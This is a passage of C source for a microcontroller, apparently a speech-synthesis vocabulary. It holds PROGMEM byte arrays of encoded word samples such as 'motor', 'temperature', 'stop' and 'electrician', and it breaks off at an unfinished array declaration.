{0x08,0x68,0xD6,0x55,0x02,0x0A,0x18,0x22,0x5D,0x02,0x1A,0x58,0x45,0x75,0xA3,0x5E,0xFA,0xE6,0x96,0xB7,0x39,0x6D,0xD3,0xA3,0xD6,0xBA,0xFA,0xF6,0x6B,0xAE,0xAE,0xA4,0xCA,0xEE,0xAC,0xAD,0x99,0xD1,0x28,0x5B,0x5C,0x8E,0xE2,0x4A,0x2B,0xFD,0x4E,0xBE,0xE2,0x85,0x80,0x25,0x5B,0x39,0xC0,0x80,0xDF,0x32,0x24,0xA0,0x01,0x0B,0x58,0x80,0x02,0xC0,0x80,0x3B,0x4C,0x14,0xF0,0xBC,0x38,0x03,0x96,0xDD,0xF9,0x7F};\nconst uint8_t spABOUT[] PROGMEM = {0x63,0xCF,0xA6,0x2A,0x54,0xD7,0xDC,0x6D,0xAD,0x85,0x67,0x57,0x50,0x5E,0x76,0x1A,0xD9,0xA6,0xAA,0x59,0xF9,0x26,0xB6,0x20,0xC2,0x83,0x25,0x0B,0x5B,0x1C,0x4D,0x4D,0x77,0x37,0xA1,0x6F,0xD4,0x45,0xCD,0xB2,0xAC,0xBE,0x98,0xCD,0x34,0xDD,0x72,0xDA,0xAA,0xDA,0x2B,0x79,0xCD,0x6D,0x6F,0x77,0xC7,0xBD,0x94,0x23,0xA4,0xCE,0x22,0xDB,0x15,0x8F,0xF0,0x45,0xEB,0x55,0xC2,0x79,0xC4,0x2F,0x42,0xB9,0x8B,0xC8,0x06,0x00,0x03,0x4C,0xA7,0xEE,0x80,0xD7,0x53,0x09,0x50,0x83,0xCB,0xFF,0x03};\nconst uint8_t spGO[] PROGMEM = {0x06,0x08,0xDA,0x75,0xB5,0x8D,0x87,0x4B,0x4B,0xBA,0x5B,0xDD,0xE2,0xE4,0x49,0x4E,0xA6,0x73,0xBE,0x9B,0xEF,0x62,0x37,0xBB,0x9B,0x4B,0xDB,0x82,0x1A,0x5F,0xC1,0x7C,0x79,0xF7,0xA7,0xBF,0xFE,0x1F};\nconst uint8_t spINCH[] PROGMEM = {0x23,0x1B,0xD6,0x48,0x2A,0x67,0x9F,0x76,0xC4,0x20,0x89,0xBC,0x7D,0xEB,0x53,0x8F,0x90,0xEC,0x12,0xB7,0x77,0xBB,0xC6,0xEE,0x55,0x92,0x6B,0x72,0x59,0xAA,0x82,0x28,0x4F,0x35,0xE9,0x68,0x0A,0xB9,0xD3,0x6D,0x93,0xA6,0x28,0xC8,0xB1,0xB0,0x85,0x40,0x11,0xCA,0x5D,0x44,0x36,0x00,0x02,0xD6,0xDC,0xD2,0x80,0x05,0x32,0xE0,0x01,0x0F,0x10,0xA0,0x26,0xA1,0xFF,0x07};\nconst uint8_t spLOW[] PROGMEM = {0x65,0xDF,0x98,0xA3,0x4A,0xB4,0xE5,0x65,0x4E,0xAB,0x9F,0xD4,0xA2,0x92,0xBC,0x9E,0xB6,0xF2,0xC8,0x71,0xEA,0x7B,0x9B,0xD5,0x24,0x5E,0x3D,0xCC,0x79,0x77,0x3B,0xFB,0xB9,0xF4,0xBD,0xEE,0xF5,0x0C,0x97,0x37,0x5D,0x0B,0x92,0xC7,0xDF,0xFE,0xFD,0x7F};\nconst uint8_t spMOTOR[] PROGMEM = {0x66,0xAA,0x8C,0x69,0x53,0x92,0xC4,0x2D,0x2F,0x6B,0x2A,0x74,0xDA,0x9D,0xB2,0xDD,0xF6,0x36,0xAB,0xCE,0x78,0xDA,0x9D,0xB2,0xD5,0x9A,0x01,0xDB,0x77,0x45,0xA0,0x75,0xC5,0xB8,0x71,0x59,0xDA,0x31,0xE5,0x6A,0x22,0x63,0xDE,0xDA,0x9A,0xBB,0xA3,0x75,0x68,0xAF,0x7B,0x3E,0xC3,0x9D,0x97,0x60,0x87,0xE6,0x8B,0x4F,0x78,0x4B,0x76,0xB2,0x09,0xAF,0xFE,0xFD,0x7F};\nconst uint8_t spOPEN[] PROGMEM = {0x61,0xCC,0xB8,0x7B,0x8C,0xB2,0xF5,0x61,0x8F,0xAB,0xA9,0x30,0xA7,0x83,0xBC,0xCD,0xBA,0x95,0x19,0x57,0x97,0xB1,0x6B,0xD2,0x58,0x12,0x31,0x11,0x89,0x01,0x01,0x2E,0x9A,0x48,0x60,0x94,0xC5,0x86,0xBB,0xC9,0xA6,0x35,0x36,0x95,0x1A,0xA6,0x7B,0xF6,0x3E,0x8E,0x26,0x42,0x3D,0x78,0xF1,0x3C,0xCB,0xD5,0x0D,0x71,0x78,0x24,0xAB,0x77,0xBA,0x47,0x12,0x73,0xB1,0xB8,0xF9,0xFE,0x7F};\nconst uint8_t spPERCENT[] PROGMEM = {0x02,0xC8,0xD9,0x5C,0x03,0x2D,0x8A,0xB1,0x30,0x46,0x52,0xAF,0xBA,0x86,0x26,0x1A,0xF6,0x77,0x9B,0xD3,0xD5,0x18,0x68,0x69,0x59,0x63,0xEF,0x80,0x5F,0x5A,0x2D,0x60,0x01,0x0B,0x68,0xC0,0x03,0xAB,0x6E,0xDE,0x25,0x2D,0x17,0xDF,0xFA,0x36,0xBB,0x1D,0x53,0xB1,0x6E,0x23,0x5D,0xA7,0x5D,0x23,0x92,0xB9,0xA7,0x62,0x7F,0x20,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0xA0,0x80,0xA5,0x33,0x0C,0xF0,0xB3,0x27,0x02,0x5A,0x4A,0xFD,0x7F};\nconst uint8_t spPROBE[] PROGMEM = {0x02,0xC8,0x29,0x5D,0x03,0x2E,0x0A,0x83,0xCB,0x5D,0x33,0xF7,0xFC,0x94,0xD1,0x96,0x57,0x71,0xF2,0x53,0x66,0xDE,0xE9,0x8D,0xDE,0x76,0x3D,0xDB,0x3E,0x95,0xDD,0xBB,0x8E,0x54,0xEA,0x13,0x0F,0x73,0x19,0x95,0x91,0x46,0x9E,0xD8,0x23,0x68,0x47,0x47,0x24,0xE1,0x1F,0xFF,0xC3,0xEF,0x4D,0x6A,0x99,0x25,0x49,0x67,0xF4,0x96,0x69,0xBA,0x24,0x5E,0xEE,0xAA,0x91,0x2B,0x59,0xD7,0xFE,0x3F};\nconst uint8_t spREADY[] PROGMEM = {0x6A,0xB4,0xD9,0x25,0x4A,0xE5,0xDB,0xD9,0x8D,0xB1,0xB2,0x45,0x9A,0xF6,0xD8,0x9F,0xAE,0x26,0xD7,0x30,0xED,0x72,0xDA,0x9E,0xCD,0x9C,0x6D,0xC9,0x6D,0x76,0xED,0xFA,0xE1,0x93,0x8D,0xAD,0x51,0x1F,0xC7,0xD8,0x13,0x8B,0x5A,0x3F,0x99,0x4B,0x39,0x7A,0x13,0xE2,0xE8,0x3B,0xF5,0xCA,0x77,0x7E,0xC2,0xDB,0x2B,0x8A,0xC7,0xD6,0xFA,0x7F};\nconst uint8_t spSET[] PROGMEM = {0x08,0xF8,0x35,0x95,0x03,0x02,0xF8,0xC5,0x58,0x03,0x16,0xB0,0xC0,0x2A,0xA6,0x08,0x13,0xD7,0xCE,0xA7,0xEC,0xAE,0xD5,0xCC,0xD6,0xDC,0xEA,0x54,0x35,0xA6,0xA4,0xE5,0x9A,0x3D,0xCC,0x25,0x2E,0x08,0x14,0xA1,0xDC,0x45,0x64,0x03,0x00,0x30,0x60,0x88,0x30,0x05,0xFC,0x1C,0x25,0x80,0x65,0xB6,0x10,0x50,0xA2,0xD0,0xFF,0x03};\nconst uint8_t spSPEED[] PROGMEM = {0x04,0xF8,0xBD,0x5C,0x02,0x1A,0xD0,0x80,0x04,0x30,0x40,0x00,0x6E,0x55,0x59,0xCB,0x75,0x7A,0x7A,0xA5,0x59,0xC5,0xC8,0x41,0x64,0xBA,0x66,0xE5,0x33,0x95,0x82,0xEB,0xD6,0x9B,0xEE,0x6C,0xE5,0x33,0x8D,0x82,0xEB,0xD6,0x5D,0xAD,0x7E,0xC5,0x22,0x48,0xDF,0xB2,0xC7,0xBD,0xCC,0x6D,0x1E,0xF5,0x60,0xA7,0x65,0x1E,0x95,0x91,0x88,0x9F,0xF4,0x2A,0xD7,0xD0,0x4D,0x64,0xBE,0xE5,0xFF,0x01};\nconst uint8_t spUNDER[] PROGMEM = {0xA7,0x6B,0xA4,0x3B,0x4A,0xB3,0x9C,0xAE,0xF1,0xF6,0x48,0xE9,0x7C,0xDB,0x55,0x56,0x13,0x56,0x62,0x8D,0x5B,0x56,0x15,0xFA,0x68,0x68,0xA9,0x79,0x28,0xA2,0xE0,0x31,0x4D,0x8D,0xA6,0x36,0x52,0x27,0x39,0x13,0x85,0x7E,0x7A,0x35,0x56,0x4D,0xB2,0xD6,0xE6,0x4D,0x55,0xAD,0xD5,0x58,0x6B,0x0E,0xB2,0x92,0x3C,0x73,0x2F,0x47,0xE9,0x4A,0x99,0xBC,0x25,0x9F,0xE1,0xCA,0x43,0xB0,0x53,0x7A,0x85,0xBB,0x1C,0xE1,0x56,0xCB,0xEC,0xEF,0xFF,0x07};\nconst uint8_t spOPERATOR[] PROGMEM = {0xB0,0x9A,0xAC,0xB6,0xC2,0xAD,0xCD,0xA9,0x3B,0x9D,0xCE,0x94,0x2C,0xB7,0x5A,0x65,0xB6,0x9B,0x61,0xBA,0x66,0x15,0xC5,0x65,0x8C,0xF3,0x62,0x94,0x89,0x50,0xEE,0x22,0xB2,0x01,0x5A,0x95,0x7C,0xB9,0xAB,0x25,0x29,0x55,0x5C,0xC2,0xD3,0x94,0xB5,0x37,0xA9,0x0B,0x9B,0x2C,0x4B,0xB9,0xE6,0xA1,0x8E,0x63,0xCE,0x83,0x53,0xD2,0xFC,0xAE,0xA5,0x16,0x97,0x70,0xCD,0x3B,0xD6,0x11,0x4F,0x30,0xB4,0x4F,0xDB,0x46,0x3C,0x62,0xE3,0x3D,0xF9,0x00,0x07,0xCC,0xD4,0x29,0x81,0xB6,0xD5,0x3A,0x28,0x2D,0x7E,0xDB,0x51,0xFD,0x09,0x2C,0xFB,0xCF,0x77,0x7A,0x4A,0x2C,0x94,0x93,0xBC,0xE1,0xA9,0xE1,0x04,0x46,0xFD,0xC5,0x37,0xFC,0x65,0x19,0x56,0x72,0x96,0xFF,0x07};\nconst uint8_t spAMPS[] PROGMEM = {0x69,0xEA,0xA5,0x45,0xD2,0x57,0xEF,0xF1,0x0E,0x77,0xB8,0xDD,0x6D,0x4F,0x53,0x43,0x49,0x79,0xCC,0xDE,0x5D,0x19,0x9B,0x08,0x2C,0x31,0xA7,0x6E,0x49,0x3C,0x39,0xC5,0xBC,0xEA,0x07,0x81,0x22,0x94,0xBB,0x88,0x6C,0x00,0x06,0x44,0x16,0xC6,0x80,0x5F,0xD3,0x39,0xC0,0x01,0x0E,0x50,0x00,0x03,0x18,0xF8,0x7F};\nconst uint8_t spMEGA[] PROGMEM = {0x66,0x31,0x3C,0x7C,0x52,0xE3,0xF8,0xC5,0xCF,0x6B,0x2A,0x5E,0x3C,0x34,0x96,0x9C,0xBE,0xC7,0x10,0x77,0x7F,0x7D,0x9B,0x51,0xF5,0xA1,0x6C,0xE2,0x8F,0x53,0xDD,0x1A,0x52,0x68,0x4D,0x0E,0x43,0xF5,0x48,0xE3,0x55,0xBA,0xCD,0x7D,0xA4,0x28,0x6B,0x93,0x35,0xB7,0xC2,0x12,0x9A,0x4F,0xCE,0x5A,0x5D,0x68,0xBA,0x6E,0xDE,0xDB,0x3C,0xC7,0x59,0xA2,0x66,0x6A,0xCC,0xE9,0x6F,0x7D,0xFF,0x1F};\nconst uint8_t spPICO[] PROGMEM = {0x08,0xC8,0x8E,0x48,0x03,0x2B,0xEA,0xC1,0x48,0xD2,0x57,0x9F,0x6C,0xE6,0x25,0x08,0x5B,0x73,0xB3,0x54,0x8C,0xC1,0xE0,0x56,0xB3,0x75,0x15,0x80,0xE6,0x47,0x3D,0x30,0x86,0xE2,0x82,0x35,0xB4,0xF7,0x1A,0xB2,0x71,0xF3,0xD6,0xBC,0x6B,0xA9,0xA2,0x2C,0x8A,0xBD,0x8F,0x23,0x89,0xF5,0x34,0xC9,0xDF,0xCF,0x76,0x45,0x57,0x51,0x22,0x79,0xD3,0xED,0xFD,0x6A,0xA8,0x75,0x8D,0x8F,0x79,0x6C,0xCD,0x74,0xB6,0xDD,0xEA,0xB5,0x65,0xD4,0xCD,0xFA,0xFC,0x3F};\nconst uint8_t spFIRE[] PROGMEM = {0x04,0x18,0xCE,0x4D,0x02,0x1A,0xD0,0x80,0x04,0x46,0x91,0x55,0x57,0x07,0x6D,0xD9,0xCD,0xAE,0x4F,0x55,0x5D,0x59,0x87,0xAE,0xB9,0xD5,0x6D,0x5B,0xDB,0x7D,0x93,0xB6,0xED,0xEE,0xE3,0x5A,0x6B,0x6A,0xF4,0x91,0xD5,0x73,0x6B,0x67,0xF5,0x47,0xBC,0xD4,0xA7,0x9C,0xA5,0x34,0xE4,0xD0,0xA6,0xF0,0xE4,0xAA,0xB8,0x2D,0xAB,0xC3,0x9B,0x62,0xC2,0xAC,0x74,0xF6,0x9F,0xFB,0x72,0x0B,0xEC,0x92,0xCD,0xEE,0xCF,0x43,0x69,0x4C,0x5B,0xFF,0x3F};\nconst uint8_t spPOWER[] PROGMEM = {0x0C,0xF0,0xDC,0x4C,0x03,0x2B,0xCD,0x36,0xAB,0x85,0x1B,0x9F,0xBC,0xB1,0xAE,0x6A,0xEA,0x7A,0xB3,0x95,0x15,0xD5,0x39,0x85,0x5D,0x46,0x96,0x7C,0x57,0x3B,0xB6,0x19,0x79,0x30,0x93,0x55,0xA4,0xBB,0xD4,0x2E,0xAD,0x79,0xB1,0xDE,0x3E,0x8D,0x29,0x85,0x61,0x1F,0xF6,0x3B,0xB7,0x7E,0x94,0x33,0x97,0x46,0x5B,0xCE,0x9D,0x9F,0xF0,0x16,0x3F,0x48,0xE7,0x7E,0xC3,0x5B,0xE3,0xA2,0xAC,0xEB,0xF6,0xDF,0xFF,0x03};\nconst uint8_t spCOMPLETE[] PROGMEM = {0x0E,0x68,0xA1,0x43,0x03,0xA7,0x2E,0xB2,0x22,0x0B,0xBB,0xDC,0x76,0x75,0x55,0x99,0xB7,0x53,0xB4,0xD1,0x77,0xA6,0x1C,0xA5,0xD6,0x7A,0x9F,0xFA,0x44,0x39,0x5A,0xDC,0x1E,0x9D,0x0C,0x50,0x94,0xB8,0x01,0x46,0x14,0x2F,0x69,0x97,0x9C,0x69,0xA6,0xE4,0x14,0x8D,0x85,0xBB,0x73,0xB3,0x93,0x75,0x6D,0xA2,0x29,0x6F,0x56,0xD6,0xB3,0xB2,0xA8,0x3F,0x59,0xF9,0x18,0x4E,0xA4,0xBE,0x66,0xB6,0x69,0x9F,0xB9,0x08,0xD2,0xDE,0xC4,0x1D,0x81,0x22,0x94,0xBB,0x88,0x6C,0x00,0x00,0x05,0x1C,0xD9,0x6E,0x80,0x65,0x7E,0x18,0xD0,0xEB,0x3A,0x02,0x6A,0x09,0xFC,0x7F};\nconst uint8_t spREPAIR[] PROGMEM = {0x69,0x8E,0x8D,0xCD,0x22,0x95,0xB7,0xA9,0x74,0x09,0xB2,0x54,0x7F,0xC6,0x16,0x83,0xCD,0xB5,0xEF,0x1A,0x7A,0x18,0x22,0x97,0xBE,0x75,0x62,0x93,0x08,0xE5,0x2E,0x22,0x1B,0x00,0x04,0xE0,0x93,0x59,0xCB,0x92,0x53,0xCB,0x8C,0x9A,0xAB,0x68,0xD1,0xC5,0xC2,0x5E,0x9F,0xB2,0xA5,0x22,0x0F,0xD9,0x72,0xAB,0x5B,0xDF,0xE6,0x4E,0x63,0xA9,0x25,0xB0,0x4A,0x3B,0xCF,0xAD,0x1F,0xE9,0xAE,0x7A,0x85,0x4E,0xF2,0xE5,0x27,0xBF,0xF9,0xCD,0x5F,0xFA,0x4A,0x1C,0x92,0xE3,0xDC,0xE9,0x2B,0x35,0xA9,0x5A,0x72,0xFF,0x3F};\nconst uint8_t spTEMPERATURE[] PROGMEM = {0x0E,0xF8,0x2E,0x2C,0x00,0xCB,0x8F,0x8F,0xA8,0x59,0x15,0xF7,0x58,0x79,0xD2,0x9A,0x5D,0x22,0xB5,0xF5,0x4D,0x47,0x96,0xAB,0x5A,0x87,0x69,0x0E,0x85,0xF7,0x46,0x1D,0xA1,0x0C,0x10,0xE0,0x32,0xBB,0x04,0x56,0x5E,0x62,0x91,0xA6,0x79,0xEF,0x7D,0xEC,0xC1,0x00,0x63,0x6C,0x46,0xC0,0x03,0x16,0x18,0x7D,0x8F,0x29,0x68,0x96,0xB5,0x4D,0x25,0x27,0x71,0x85,0xF7,0xBE,0xF6,0xBD,0x9F,0xF5,0x09,0x77,0x59,0xC2,0xDE,0x9A,0x27,0xBE,0xFE,0xFD,0x7F};\nconst uint8_t spSTOP[] PROGMEM = {0x0C,0xF8,0xA5,0x4C,0x02,0x1A,0xD0,0x80,0x04,0x38,0x00,0x1A,0x58,0x59,0x95,0x13,0x51,0xDC,0xE7,0x16,0xB7,0x3A,0x75,0x95,0xE3,0x1D,0xB4,0xF9,0x8E,0x77,0xDD,0x7B,0x7F,0xD8,0x2E,0x42,0xB9,0x8B,0xC8,0x06,0x60,0x80,0x0B,0x16,0x18,0xF8,0x7F};\nconst uint8_t spMACHINE[] PROGMEM = {0xC2,0x56,0x3C,0x7D,0xDC,0x12,0xDB,0x3E,0x8C,0x89,0xBA,0x4C,0x4A,0x96,0xD3,0x75,0x95,0x12,0x6E,0xBD,0x6F,0xB7,0xBA,0x16,0x5A,0x58,0x3D,0xB3,0x03,0xA6,0x14,0x76,0xC0,0xCC,0x37,0x11,0xC8,0x40,0x04,0x22,0xB0,0x92,0xD9,0x9A,0xC1,0x7D,0xF5,0xCD,0x6F,0x3E,0x8A,0x39,0x14,0xA5,0x72,0xD4,0x28,0x67,0x56,0xD4,0x89,0xD2,0xB3,0xE9,0x63,0x5D,0xD2,0xDA,0x03,0x49,0xA9,0xDB,0xCD,0x47,0x3C,0xE3,0xEB,0xBF,0xF4,0x75,0x57,0xEC,0xEE,0x9B,0xF2,0x9B,0xBE,0x56,0x34,0xCC,0xA2,0xF2,0xFF,0x03};\nconst uint8_t spON[] PROGMEM = {0x65,0x4A,0xEA,0x3A,0x5C,0xB2,0xCE,0x6E,0x57,0xA7,0x48,0xE6,0xD2,0x5D,0xBB,0xEC,0x62,0x17,0xBB,0xDE,0x7D,0x9F,0xDA,0x5C,0x5C,0x7A,0xAA,0xB5,0x6E,0xCB,0xD0,0x0E,0xAD,0x6E,0xAF,0xEE,0xF9,0x88,0x67,0xBC,0xDC,0x3D,0xAC,0x60,0xB8,0x45,0xF3,0xB7,0xBF,0xC3,0xDD,0xA2,0xBB,0xAB,0xCD,0x89,0x8F,0x7F,0xFE,0x1F};\nconst uint8_t spCONTROL[] PROGMEM = {0x06,0x68,0xA5,0xCD,0x02,0x2B,0xA9,0x36,0xD5,0x43,0x5A,0x9F,0xA6,0xA9,0x36,0x4F,0xEE,0x73,0xDA,0xC1,0xDA,0x35,0x79,0x73,0x6B,0x9B,0x62,0xEA,0xB0,0x78,0xB3,0x4B,0x7D,0x91,0x18,0xED,0xE6,0x16,0x81,0x22,0x94,0xBB,0x88,0x6C,0x10,0x40,0x0B,0xE1,0x1E,0x88,0xC0,0x48,0x53,0xE2,0x0A,0x17,0x67,0x3B,0x3B,0x59,0xB2,0x11,0x95,0xA2,0x7C,0x64,0x91,0x4F,0x47,0x92,0xF7,0x99,0xAF,0xA2,0xE0,0xEE,0x76,0x56,0xBF,0x9B,0x39,0xB4,0x29,0xB1,0x9C,0x76,0xF4,0x56,0xD7,0xBA,0xE5,0x3B,0x3F,0xF1,0x29,0x77,0xE6,0x9D,0x63,0x9C,0xE7,0xFF,0x01};\nconst uint8_t spELECTRICIAN[] PROGMEM = {0x6B,0x9D,0xA6,0x88,0xD3,0x36,0xDF,0xF1,0x8C,0x5B,0x84,0x93,0x79,0xBB,0x35,0x5C,0x26,0xA9,0xEC,0x6B,0xCF,0x70,0xB8,0x87,0xBA,0x68,0x3F,0x5D,0x4B,0xA1,0x29,0xB6,0xF9,0xB6,0xAD,0x69,0xB1,0x48,0x5B,0x1B,0x23,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0x06,0x38,0xAE,0xD2,0x03,0xA3,0xAC,0x59,0x4D,0xDD,0x9D,0xAE,0xA2,0x16,0x63,0x37,0xEB,0xBA,0x8B,0x51,0x36,0x63,0x1A,0x9E,0x6B,0x7A,0x65,0x80,0x55,0xB7,0x3D,0x10,0x81,0x0C,0x58,0x60,0x75,0xCD,0x98,0x84,0xF9,0xA6,0xBD,0xF4,0xAD,0x5C,0x43,0x19,0x46,0x58,0xB4,0x7C,0xE7,0x27,0x7D,0x3D,0x0A,0xBB,0x87,0xDD,0xF8,0xC7,0xFF,0xFF,0x01};\nconst uint8_t spAT[] PROGMEM = {0xAD,0xA8,0xC9,0xB5,0xBC,0xA6,0xDC,0xFE,0x36,0xB7,0xB9,0xF5,0x6D,0xC7,0x58,0x9B,0x69,0xF9,0x4C,0x99,0x73,0xDD,0xC8,0x24,0x42,0xB9,0x8B,0xC8,0x06,0x00,0x50,0xC0,0x52,0x2E,0x0E,0xB8,0x66,0x8A,0x01,0xAD,0x95,0x20,0x20,0x3A,0xF2,0xFF,0x07};\nconst uint8_t spRED[] PROGMEM = {0x6A,0xB5,0xD9,0x25,0x4A,0xE5,0xDB,0xC5,0x4F,0x6D,0x88,0x95,0x2D,0xD2,0xB4,0x8F,0x2E,0x37,0x0E,0x33,0xCF,0x7E,0xAA,0x9A,0x5C,0xC3,0xB4,0xCB,0xA9,0x86,0x69,0x76,0xD3,0x37,0xB7,0xBE,0xCD,0xED,0xEF,0xB4,0xB7,0xB0,0x35,0x69,0x94,0x22,0x6D,0x10,0x28,0x42,0xB9,0x8B,0xC8,0x06,0x00,0x50,0xCF,0x0E,0xEE,0x62,0xEA,0xA6,0xBC,0xC3,0x14,0xBB,0x4A,0x9F,0xFA,0xA5,0xAF,0x25,0x13,0x17,0xDF,0x9C,0xBF,0xFF,0x07};\nconst uint8_t spALL[] PROGMEM = {0x65,0x0D,0xFA,0x3B,0x84,0xFB,0x8D,0x2E,0xB1,0x9D,0x34,0xCA,0xBA,0xAB,0x5D,0xEC,0x62,0x15,0x89,0x5F,0xA7,0x49,0xB6,0x5D,0xEF,0x6E,0x0E,0x73,0x99,0xEB,0x3C,0xCA,0x11,0x65,0xCE,0x18,0xB9,0x89,0x67,0xBC,0xDC,0x15,0xF8,0xE5,0xA0,0xE6,0x71,0x77,0x94,0x51,0x8F,0x96,0xE6,0xFF,0x01};\nconst uint8_t spCANCEL[] PROGMEM = {0x01,0x98,0x29,0xC4,0x00,0xDD,0x29,0x9C,0xAC,0x25,0xD7,0xD2,0x9C,0x7C,0x8B,0x5B,0xAE,0xBC,0x26,0xB3,0x94,0x89,0x52,0xF2,0xE6,0x29,0x42,0x52,0x53,0x28,0xAA,0xC1,0xB6,0xB0,0xC4,0x0C,0xF8,0xDE,0xC2,0x02,0x1E,0xF0,0x80,0x05,0x46,0x5C,0x78,0x45,0x25,0xE5,0x19,0x53,0x45,0x93,0xE3,0xA2,0x77,0xAE,0x75,0x4B,0x67,0x92,0xD5,0x6D,0x98,0x25,0x3F,0xF9,0xFD,0x7F};\nconst uint8_t spPHASE[] PROGMEM = {0x22,0x5E,0x2E,0xD5,0xC4,0x64,0xA5,0xF6,0x9A,0x52,0x26,0xF1,0xB6,0xDA,0xEA,0x54,0x2C,0x6B,0xCE,0x69,0x7A,0x0A,0x51,0x89,0xB7,0xA7,0x19,0xA9,0x98,0xCD,0xDE,0xDC,0xE6,0x36,0xAB,0x9B,0xA1,0x11,0x23,0x3E,0xCF,0xB1,0xAF,0x7D,0xAB,0x7B,0x3C,0xFC,0x19,0x9E,0xA6,0x55,0x9C,0x6D,0xB7,0x7F,0xEC,0xCB,0x80,0xEF,0xCB,0x39,0x40,0x81,0xFF,0x07};\nconst uint8_t spNOR[] PROGMEM = {0xE9,0x38,0x5C,0x84,0x33,0xBD,0x8E,0xB6,0x9A,0x70,0x09,0x6B,0xBB,0x8B,0x93,0x66,0xDE,0x91,0xC9,0xFE,0x6E,0xBA,0xB2,0x24,0xAA,0x26,0x51,0xDD,0xCC,0x47,0x1D,0x7C,0x75,0x3A,0xE5,0x99,0xC3,0x5C,0xCA,0x1E,0x52,0x6A,0xA7,0xE4,0xCF,0x7B,0xB9,0x53,0x4E,0x8E,0x31,0x6F,0xFD,0x4C,0x77,0x1A,0xC2,0x93,0x96,0x25,0xDD,0xA9,0x04,0x4E,0x87,0xDB,0xF0,0xE4,0x2D,0xB4,0x6E,0x59,0xE2,0xE3,0xDF,0xFF,0x07};\nconst uint8_t spEXIT[] PROGMEM = {0x6B,0x68,0xC1,0x24,0xAD,0xEE,0xAC,0xA6,0xE7,0x66,0x57,0x7F,0x73,0x9B,0x5B,0xB6,0xA2,0x1F,0x56,0xC5,0x69,0x6A,0xDA,0x96,0x94,0x02,0xB2,0x89,0x02,0x9A,0x1C,0x35,0xC0,0xCF,0x99,0x16,0xB0,0x80,0x04,0xDA,0x5C,0x83,0x4A,0xF0,0xDC,0x5E,0x5B,0x33,0x49,0xA1,0xFE,0xB9,0x9F,0xE1,0x6B,0x41,0x39,0xD8,0x1E,0x23,0x50,0x84,0x72,0x17,0x91,0x0D,0x00,0x02,0x38,0xCC,0xDC,0x02,0x04,0x18,0xF6,0xF3,0xFF,0x01};\nconst uint8_t spFLOW[] PROGMEM = {0x04,0xE8,0x3E,0x83,0x02,0x1C,0xE0,0x80,0x04,0x3C,0x10,0xB2,0x24,0x75,0xD9,0xAC,0x4D,0xCD,0x5A,0x9D,0x85,0xAC,0x93,0x79,0x39,0x75,0xA3,0xDE,0x15,0x98,0xED,0x56,0xB7,0x5A,0x55,0xE2,0xD3,0xE9,0xE4,0x6F,0xD6,0xB3,0x9B,0x43,0x5F,0xEB,0x91,0x4F,0x77,0x5B,0xBB,0x15,0xC2,0x7E,0xFC,0x63,0x5E,0x1B,0xD7,0x0B,0xA5,0xB7,0x7E,0xFF,0x1F};\nconst uint8_t spGAUGE[] PROGMEM = {0x0E,0x18,0xD5,0xB0,0xB5,0x2B,0x24,0x09,0x7B,0x92,0x55,0xF7,0x4C,0xA2,0xD1,0x8D,0x6F,0x7D,0x9A,0x91,0x83,0x34,0x72,0xCE,0x6D,0x6E,0x73,0xDB,0xD5,0xCD,0x50,0x40,0x9D,0xAB,0xF7,0xB8,0xE7,0xBD,0xB5,0x7D,0xA5,0x46,0x8C,0x58,0x5D,0x0F,0x76,0x15,0x05,0xBE,0x96,0x8D,0xD8,0x59,0x0D,0xE8,0x58,0xD5,0xA2,0x97,0x7A,0xC6,0x72,0x17,0x31,0x5B,0xB2,0x65,0xC0,0x9A,0xCE,0x12,0xB0,0x80,0x02,0xE6,0x50,0xF9,0x7F};\nconst uint8_t spGREEN[] PROGMEM = {0xE1,0x6A,0xEA,0x2A,0x4A,0xE3,0xA6,0xA1,0xB8,0x49,0x32,0x51,0x9A,0xFA,0xE8,0xCC,0xAC,0x2C,0x59,0xED,0x5A,0x5B,0x3A,0x05,0x27,0x77,0x9D,0xF5,0x29,0xDA,0x70,0x91,0x90,0xB6,0xA7,0x18,0x35,0x90,0xD3,0x17,0xED,0x7C,0xE5,0x33,0x06,0xE2,0x54,0xA5,0x5D,0xCC,0xAA,0xF5,0xB3,0x07,0x50,0xD6,0xA8,0x36,0x8E,0xA0,0x68,0x6B,0x61,0xFA,0x52,0xB7,0xB2,0x8F,0x44,0x54,0x15,0x41,0xD2,0x31,0x12,0x86,0xB8,0xBB,0xCE,0x67,0xBA,0xAA,0x66,0x4B,0xF1,0xB8,0xE9,0xEA,0x91,0x43,0xCC,0x5C,0xC7,0x33,0x5E,0xE5,0x6A,0xD6,0x25,0xDC,0x67,0xA5,0xA7,0x55,0x0D,0xD5,0x98,0x9C,0xDF,0xFF,0x07};\nconst uint8_t spINSPECTOR[] PROGMEM = {0x29,0xEB,0x5E,0xD9,0x32,0x27,0x9D,0x6E,0xFA,0x66,0x17,0x59,0x7D,0xDB,0xDB,0xB4,0xB6,0x7B,0xD0,0xCC,0x70,0xD2,0xDB,0xD6,0x0D,0xC7,0x38,0xAC,0x4D,0xD2,0xF0,0x0D,0xB3,0xA9,0xBB,0x73,0xC0,0x4F,0xE9,0x11,0xF0,0x80,0x02,0x86,0x52,0x01,0x03,0x44,0xEA,0x7A,0xA2,0x1A,0x43,0xD3,0x6C,0xF3,0x4D,0x6F,0xDA,0xB2,0x56,0x0C,0x82,0xAD,0x31,0x29,0x44,0x28,0x77,0x11,0xD9,0x00,0xE0,0x80,0xED,0x3C,0x46,0x5F,0xEB,0xA0,0xB4,0xF8,0x2D,0x53,0xF5,0x27,0xB0,0xEC,0x3F,0x6F,0x69,0x2F,0xB1,0x50,0x4E,0xF2,0x86,0xB3,0x86,0x13,0x18,0xF5,0x17,0xDF,0xF0,0x96,0x65,0x58,0xC9,0x59,0xFC,0xF7,0xFF};\nconst uint8_t spMANUAL[] PROGMEM = 